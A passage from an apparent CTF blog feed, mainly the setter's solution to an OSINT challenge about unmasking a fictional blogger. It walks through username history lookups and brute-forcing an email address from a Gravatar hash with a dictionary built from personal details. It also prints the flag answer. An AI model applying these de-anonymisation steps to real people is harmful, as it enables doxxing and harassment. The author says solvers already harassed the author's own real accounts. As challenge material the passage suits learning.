      <description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%89%8d%e8%a8%80&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;几个月前，我还只是一名散修，有幸结识了许多实力强劲的师傅，最终顺利加入了 SU。恰逢 SUCTF2026 的举办，很荣幸能够以 SU 成员的身份参与本次比赛的出题工作。&lt;/p&gt;&#xA;&lt;p&gt;起初，我打算设计一道黑盒题目。因为考虑到近期多场比赛中 AI 展现出毁天灭地般的强硬实力，难免会产生通过提高题目难度来限制完全依赖 AI 自动化解题的想法。但转念一想，这样的做法一方面未必真正有效，另一方面也可能无差别地增加所有选手的负担，对坚持“古法解题”的师傅们同样不够友好。这本身就是一把双刃剑，而我也并不希望出一道让人感到“被为难”的题目，换做是我，我也不愿意去做这样的题目。&lt;/p&gt;&#xA;&lt;p&gt;同时，注意到本场比赛中尚未有师傅设计社工类题目。于是我转而准备一道偏娱乐性质的 OSINT 题目，尽量弱化技术门槛，更强调趣味性与参与感。&lt;br&gt;&#xA;也希望各位师傅在解题过程中能够轻松一些，享受其中的乐趣，顺便想起我们最初为什么会喜欢上 CTF。&lt;/p&gt;&#xA;&lt;p&gt;不过出题时并未预想到师傅们会这么发散思想&amp;hellip; 许多师傅们似乎都将社工目标放到了我本人和其他提到的师傅(比如 2hi5hu)身上，说实话这对我造成了不少的困扰，我的各大社交账号基本都遭到了爆破骚扰，也是感受了一波被网暴的感觉，还挺恐怖的，不过也怨不得其他人，确实是我欠缺考虑了&lt;/p&gt;&#xA;&lt;h2 id=&#34;题面&#34;&gt;题面&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e9%a2%98%e9%9d%a2&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;site&#34;&gt;Site：&lt;a class=&#34;heading-anchor&#34; href=&#34;#site&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://evanlin-suctf.github.io/&#34;&gt;https://evanlin-suctf.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;题目描述&#34;&gt;题目描述&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e9%a2%98%e7%9b%ae%e6%8f%8f%e8%bf%b0&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;互联网会记住很多人以为已经消失的信息。&lt;br&gt;&#xA;你偶然发现了一个个人博客。表面上看，这只是一个记录日常生活和技术笔记的小站，但在这些零散的信息中，似乎隐藏着一些被忽视的线索。&lt;br&gt;&#xA;尝试追踪这些数字痕迹，将散落在网络各处的信息拼接起来，看看它们最终会指向哪里。&lt;br&gt;&#xA;最终的 &lt;strong&gt;flag 是某个字符串的 MD5 值&lt;/strong&gt;。&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;flag-规则&#34;&gt;Flag 规则&lt;a class=&#34;heading-anchor&#34; href=&#34;#flag-%e8%a7%84%e5%88%99&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;该字符串由 &lt;strong&gt;目标人物姓名 与 一个发现的字符串拼接而成&lt;/strong&gt;，然后将整个结果 &lt;strong&gt;转换为小写&lt;/strong&gt; 后计算 MD5。&lt;/p&gt;&#xA;&lt;p&gt;姓名需要按照格式拼接：&lt;/p&gt;&#xA;&lt;p&gt;规则：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;去掉所有空格&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;姓名之间 &lt;strong&gt;不添加任何分隔符&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;顺序为 &lt;strong&gt;姓在前，名在后&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;最终计算规则&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;md5(lowercase(&amp;lt;姓&amp;gt;&amp;lt;名&amp;gt; + &amp;quot;_&amp;quot; + &amp;lt;字符串&amp;gt;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&#34;flag示例&#34;&gt;Flag示例&lt;a class=&#34;heading-anchor&#34; href=&#34;#flag%e7%a4%ba%e4%be%8b&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;姓名: Sanfeng Zhang&#xA;字符串: abcd-dcba&#xA;&#xA;拼接结果:&#xA;zhangsanfeng_abcd-dcba&#xA;&#xA;Flag:&#xA;SUCTF{md5(zhangsanfeng_abcd-dcba)}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;题解&#34;&gt;题解&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e9%a2%98%e8%a7%a3&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;本题在解题路线上属于双向并行任务，且博客中都有具体的提示：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;姓名&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;通过博客中信息了解邮箱设置了自动回复及 @foxmail.com 的邮箱域名&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;通过使用 Gravatar 托管的头像 url 获取邮箱 hash&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;使用博客中的已知信息构造社会工程学字典，爆破邮箱明文&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;向邮箱发送任意邮件，从自动回复邮件中获得姓名&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;特殊字符串&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;通过游戏图片获取到 Mnzn233 的游戏 ID&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;结合博客内容以及 Minecraft，搜索到游戏历史 ID&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;根据线索，利用搜索工具找到指定社交账号，获取特殊字符串&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;其中邮箱的获取途径似乎被非预期了，为了方便选手访问博客，使用了 GitPage 托管，却忘记了修改 git 提交记录中的邮箱，意识到的时候决定愿赌服输吧，还是我人菜导致的&lt;/p&gt;&#xA;&lt;p&gt;这是一道非常传统的社工题，注意留意跟个人身份相关的关键信息&lt;br&gt;&#xA;一共存在 7 篇博客日记&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;how they found me??&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;play with me T_T&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Happy birthday~&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;don&amp;rsquo;t spam&amp;hellip;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;normal life&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;sad&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;today&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;比较直接的想法就是从里面获取信息然后寻找其他的社交媒体&lt;br&gt;&#xA;最先注意到play with me篇中的图片&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/23b2e318-4ee1-45d8-95b2-c0635a139ce2.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;昵称是Mnzn233，结合 Minecraft，Google 一下即可得到&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/8573d62f-59c8-4284-9450-efc0f24cdd9f.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/c48c29eb-9a95-4e37-82c4-424cfdad354b.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;同时注意到 how they found me?? 篇中提到的，证实了曾用名是正确的方向&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;“最近突然有几个人在留言或者私信里提到我以前用过的一个旧网名。那个名字其实已经很久没用了，所以突然看到有人提起来的时候还是有点意外。&#xA;&#xA;更离谱的是，居然还有人根据这个名字在另一个平台找到了我的账号，然后给我发了消息。虽然内容也只是随便说认出了这个名字，但还是让人感觉有点不太舒服。”&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;思路转向在 namemc 查到的曾用名，尝试 TurbidCloud,使用 &lt;a href=&#34;https://instantusername.com/&#34;&gt;https://instantusername.com/&lt;/a&gt; 来检索其他社媒，检索到了Twitter&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/ba91b5ee-32ce-4926-97cf-70c45ca9c670.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;访问一下账号主页，能看到一个 discord 服务器的邀请链接，名为 Flag@here&lt;br&gt;&#xA;说明找对了&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/57e806b3-cb4a-485f-8d8f-c5dc22888178.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/3c8d7beb-5898-4e6d-8948-a5164166fb34.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;进入discord群聊即可得到字符串 &lt;code&gt;ddc7-4622-8a97&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/a2051bf8-8443-48d5-9560-e25ce7493185.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;现在还差姓名没有找到 ,思路转向其他几篇日记，注意到 don&amp;rsquo;t spam&amp;hellip;. 篇中的图片&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://mnzn.me/upload/Image/94b27f6e-fbac-4960-8b4f-d08287f9ec17.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;分析这张图片能得到两个点：一个是该邮箱的后缀名是 &lt;code&gt;@foxmail.com&lt;/code&gt;,另外一个奇怪的点在于Auto Reply is enabled， 邮箱的自动回复是开着的，那么不难注意到应该是要找到这个邮箱地址并且发一封邮件，自动回复的邮件里就会有目标人物的真实姓名了。&lt;br&gt;&#xA;梳理已知的线索，浏览还没有得到利用的几篇日记：&lt;br&gt;&#xA;today篇提到了叫Momo的布偶猫，检索了一下发现没有什么可用的信息&lt;br&gt;&#xA;normal life篇提到了同事shukuang和女朋友kanna.seto 看起来也是干扰信息&lt;/p&gt;&#xA;&lt;p&gt;sad篇提到更换了头像，那么视角转到头像上&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;下班回家之后也没什么特别想做的事情，随便做了点吃的，看了会儿视频，尽量不去想工作的事情。后来打开自己的账号页面，突然就想着把头像换掉了。之前那个头像其实已经用了挺久，正好换个新的。&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;从网站资源发现头像使用 Gravatar 托管&lt;br&gt;&#xA;&lt;a href=&#34;https://gravatar.com/avatar/105e127d86711d05460e6072f7d809c5c9e0fe095ca7631e4c2e0ffc4acc3fa9&#34;&gt;https://gravatar.com/avatar/105e127d86711d05460e6072f7d809c5c9e0fe095ca7631e4c2e0ffc4acc3fa9&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;查阅资料得知：&lt;/p&gt;&#xA;&lt;p&gt;Gravatar（&lt;strong&gt;Globally Recognized Avatar&lt;/strong&gt;）是一个全球通用头像服务，它：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;以一个邮箱地址为基础生成一个哈希值。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;然后根据这个哈希值返回用户设置的头像。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;如果该哈希对应的邮箱没有设置过头像，则可能返回默认图像。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;头像 URL 的格式通常是：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://gravatar.com/avatar/&amp;lt;HASH&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;其中 &lt;code&gt;&amp;lt;HASH&amp;gt;&lt;/code&gt; 是 &lt;strong&gt;邮箱地址经处理后哈希出来的值&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;可以推理得到：这个sha256哈希值应该就是目标邮箱生成的哈希值。&lt;br&gt;&#xA;这里使用 cupp 生成社会工程学字典进行爆破&lt;br&gt;&#xA;结合一下博客中提供的已知信息&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Today -&amp;gt; 布偶猫 Momo&#xA;Normal life -&amp;gt; 同事 shukuang&#xA;Happy birthday -&amp;gt; ⽣⽇ 2024年11⽉23⽇&#xA;Play with me t_t -&amp;gt; 游戏ID Mnzn233&#xA;博客提供的昵称 EvanLin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;使用这些信息构建字典，然后写如下exp爆破哈希：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;hashlib&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;target_hash&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;105e127d86711d05460e6072f7d809c5c9e0fe095ca7631e4c2e0ffc4acc3fa9&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;evan.txt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;r&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;errors&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;ignore&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;line&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;candidate&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;line&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;strip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;email&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;candidate&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;@foxmail.com&amp;#34;&lt;/span&gt;   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;sha256_hash&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hashlib&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sha256&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;email&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;hexdigest&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sha256_hash&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;target_hash&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Match found:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;email&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;爆破结果：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Match found: evanlin1123@foxmail.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;向 &lt;code&gt;evanlin1123@foxmail.com&lt;/code&gt; 发送一封任意内容的邮件，即可收到回复：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/e4e85201-6d33-4b4e-a772-ba06117aa2ca.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;邮件最后出现了姓名Zeyuan Lin&lt;br&gt;&#xA;直接拼接姓名和字符串提交md5即可&lt;/p&gt;&#xA;&lt;p&gt;flag：&lt;code&gt;SUCTF{c4d1df3b3dbea17c886b447b7f913048}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;结语&#34;&gt;结语&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%bb%93%e8%af%ad&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;这也是我第一次为 XCTF 分站赛这样大规模的赛事参与出题，诚惶诚恐。一方面希望题目能够带来一些新鲜感和乐趣，另一方面也难免担心在设计思路、细节把控或体验上存在考虑不周的地方。&lt;/p&gt;&#xA;&lt;p&gt;毕竟经验尚浅，能力也有限，题目中如果有不够完善、节奏把握不佳，或未能符合部分师傅预期的地方，还请大家多多包涵与理解。也非常欢迎各位师傅提出宝贵的意见和建议，这对我来说都是非常重要的积累和提升。&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>来自 🥬🐔 Misc 入门选手的 2025  年终走马灯</title>
      <link>https://new.mnzn.me/posts/%E6%9D%A5%E8%87%AA-misc-%E5%85%A5%E9%97%A8%E9%80%89%E6%89%8B%E7%9A%84-2025-%E5%B9%B4%E7%BB%88%E8%B5%B0%E9%A9%AC%E7%81%AF/</link>
      <pubDate>Wed, 31 Dec 2025 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/%E6%9D%A5%E8%87%AA-misc-%E5%85%A5%E9%97%A8%E9%80%89%E6%89%8B%E7%9A%84-2025-%E5%B9%B4%E7%BB%88%E8%B5%B0%E9%A9%AC%E7%81%AF/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;其实是跟风，看到其他师傅都写了年终总结，那我也蹭下热度&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;结果打开想了半天也不知道该写什么，感觉一年过去了，也没什么可记录的&lt;/p&gt;&#xA;&lt;h2 id=&#34;所以来碎碎念吧&#34;&gt;所以来碎碎念吧&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%89%80%e4%bb%a5%e6%9d%a5%e7%a2%8e%e7%a2%8e%e5%bf%b5%e5%90%a7&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;认识 CTF 的第一年，总结如下：&lt;/p&gt;&#xA;&lt;p&gt;一开始是抱着好玩的心态来打 CTF，不过随着投入的时间、精力、金钱越来越多，发现已经上了贼船&lt;/p&gt;&#xA;&lt;p&gt;不过还好在年末认识了很多大师傅，每天都在焦虑迷茫，还好有师傅们指点，都是很宝贵的经验，也很感谢大家&lt;/p&gt;&#xA;&lt;p&gt;也不算什么都没有吧，参加了几次本地的线下赛，还参加了一些线上国际赛，不过大多都是走过场来的，还是太弱小了&lt;/p&gt;&#xA;&lt;p&gt;依旧浑浑噩噩 一事无成，什么时候才能改掉拖延的毛病，又拖了很多事情，比如想写东西建完仓库后 init 一下就抛之脑后了&lt;/p&gt;&#xA;&lt;p&gt;意识到了还需要转型，学习新知识，AI 啊 肾透啊，CTF 与实际工作环境还是大相径庭&lt;/p&gt;&#xA;&lt;p&gt;单纯的misc还是吃不上饭（大佬勿喷，我是菜狗，我吃不上饭，仅代表我个人，不代表各位大佬🧎‍♀️&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;就这样 祝愿大家 2026 都能更上一层楼，找工作的拿到心仪的 offer，有情人终成眷属，想赚钱的猛猛赚，让我一个人菜死就行&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;哦对了，&lt;/p&gt;&#xA;&lt;p&gt;今年遇见了很多很多题目，有好题有烂题有💩题&lt;/p&gt;&#xA;&lt;p&gt;好题的好大多就几方面：考点新、知识广、强度高、质量精&lt;/p&gt;&#xA;&lt;p&gt;烂题其实说白了也是就那些问题：考点老、套娃狠&lt;/p&gt;&#xA;&lt;p&gt;唯有史题，每题都能史出新花样，脑电波、谜语人，道道都能流传千古，遗臭万年&lt;/p&gt;&#xA;&lt;p&gt;为了我的精神安全着想，决定专门开设一栏板块 —— 「年度答辩」&lt;/p&gt;&#xA;&lt;p&gt;用于记录笔者一年来见到的史中最史，也便于大家排雷，每道题做的时候都是精彩至极，不喜就喷&lt;/p&gt;&#xA;&lt;p&gt;顺手开个投票 投出你认为最史的题目&lt;/p&gt;&#xA;&lt;h2 id=&#34;-2025-年-度-答-辩-&#34;&gt;✨ 2025 年 度 答 辩 ✨&lt;a class=&#34;heading-anchor&#34; href=&#34;#-2025-%e5%b9%b4-%e5%ba%a6-%e7%ad%94-%e8%be%a9-&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;所有目光请向我看齐。&lt;br&gt;&#xA;下面正式公布——参与 &lt;strong&gt;2025 年度答辩评比&lt;/strong&gt;的候选题目。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;评分标准说明&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;评分完全主观&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;满分 &lt;strong&gt;100 分&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;分数越低，史度越低，题目质量越高&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;分数&lt;/td&gt;&#xA;          &lt;td&gt;题目名&lt;/td&gt;&#xA;          &lt;td&gt;来源比赛&lt;/td&gt;&#xA;          &lt;td&gt;史度评价&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;60&lt;/td&gt;&#xA;          &lt;td&gt;&lt;del&gt;泄露的时间和电码&lt;/del&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;del&gt;第八届“强网”拟态防御国际精英挑战赛&lt;/del&gt;&lt;/td&gt;&#xA;          &lt;td&gt;&lt;del&gt;依赖工具过于猜谜&lt;/del&gt;&lt;br&gt;&lt;br&gt;考虑到提题目最后给出了 &lt;code&gt;&amp;quot;Mod R/M&amp;quot;&lt;/code&gt; ，该 hint 具有相对的指向性，体现了出题人并非恶意，给了选手解题的希望，因此不算纯史&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;70&lt;/td&gt;&#xA;          &lt;td&gt;busbus&lt;/td&gt;&#xA;          &lt;td&gt;HKCERT 2025&lt;/td&gt;&#xA;          &lt;td&gt;首先黑盒加30分，其次感觉该题目的靶机似乎有问题，最初尝试了 modbus 协议无果，后来突然就可以了，以及需要通过 fuzz 才能猜出来的触发关键字 &lt;code&gt;&amp;quot;open&amp;quot;&lt;/code&gt;，不过题目名也带有指向性，也不算纯史&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          